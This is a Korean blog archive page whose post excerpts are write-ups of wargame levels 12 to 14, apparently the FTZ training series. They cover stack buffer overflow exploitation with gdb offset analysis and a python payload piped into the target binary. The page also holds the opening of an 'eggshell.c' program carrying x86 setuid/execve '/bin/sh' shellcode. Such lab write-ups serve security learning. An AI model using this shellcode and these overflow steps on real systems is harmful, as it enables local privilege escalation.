일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 최강욱
- 제넥신
- 고민정
- 픽크루
- 성남은혜의강교회
- 김영권
- 유튜버 김재석
- 불가피
- 홍혜걸
- 학교 개학 연기 4월
- 폰폰테스트
- 미국 금리인하
- 뭉쳐야 찬다
- 이지혜
- 이상형 만들기
- 임영규
- 스콜피온킹
- 김영권 아내
- 김재석
- 금리인하
- 성남 코로나 확진자
- 킹덤 고근희
- 조희연
- 스페인 코로나
- 해킹
- 양적완화
- 리리남매
- 은혜의 강 교회
- libtins
- 이태원 클라쓰 15회 예고
- Today
- Total
목록2018/03/24 (7)
Dork's port
안녕하세요!!!! 벌써 14번이네요 ㅎㅎㅎ 시작하죠! 이번에는 check의 값을 0xdeadbeef로 초기화하는 문제이네요! 저번 문제를 자의로 푸셨으면 쉬울 것이라 생각합니다.우선 스택의 분석을 위해서 tmp폴더에 복사한 후 gdb로 열어서 보게 되면 deadbeef와 비교하는 저부분이 check의 주소라는 것을 추론할 수 있습니다. 그리고 fets을 부르기 전 인자로 전달하는 저 주소는 buf라는 것을 짐작할 수 있죠! 그래서 주소의 차이를 계산해 보면 f0 - c8 = 0x28이라는 것을 알 수 있습니다. 즉, 버퍼에 0x28(40)만큼 채운 후 그 뒤 값을 deadbeef로 채우면 될 것 같군요.그래서 아래와 같이 코드를 작성 할 수 있습니다. 마찬가지로 프로그램 실행 후 버퍼의 값을 입력 받으므..
문제 13번 입니다! 힌트를 보니 특이한 코드가 보이는군요! i가 16진수 값 1234567로 초기화가 되어있고 문자를 입력 받은 후 i를 체크하여 값이 변했다면 프로그램을 종료시키는군요! 문제를 미뤄보아 buf의 스택 밑에 i가 위치하고 i의 값을 0x1234567로 변하지 않게 또는, 0x1234567로 초기화를 시켜주어야 겠군요! 오버플로우 위해서 값 입력은 필수적이니 변하지 않게 할 수는 없을 것 같습니다. 따라서 i의 주소에는 다시 0x1234567로 초기화를 시켜주도록 하죠! 저기 있는 if문을 우회하기 위해서요!먼저 스택을 보기위해 gdb를 사용합니다. gdb를 사용하기 위해 위 코드를 아래 명령어로 복사하여 디버깅 옵션을 주어 컴파일 해보죠! $ cp hint tmp/attackme.c$ ..
안녕하세요! 문제 12번입니다! 꼬고싱! 힌트를 보니 11번 문제와 별반 다를것이 없어보이는군요! 차이점이 있다면 이제 인자를 argv 즉, 프로그램 실행 시 받는 것이 아닌 프로그램 실행 후 받는 구조로 변경되었군요! 그러면 이전에 했던 exploit 방법과는 조금 다른 방법을 쓰되 원리는 같다는 것을 알 수 있습니다.아래의 명령어로 프로그램 실행 후 인자를 전달할 수 있습니다. $ (python -c 'import sys ; sys.stdout.write("A"*268)' ;cat) | ./attackme 프로그램 실행 시 엔터를 눌러주면 그대로 인자로 전달되게 되는데 마찬가지로 RET를 찾기 위해 값을 대입한 결과 268번째에서 세그멘테이션 오류를 뜨는 것을 보니 해당 위치에 RET가 있겠군요! 해..
환경 변수 등록 및 쉘 실행 //eggshell.c #include #define _OFFSET 0 #define _BUFFER_SIZE 512 #define _EGG_SIZE 2048 #define NOP 0x90 char shellcode[] ="\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; unsigned long get_esp(){ __asm__ __volatile__("movl %e..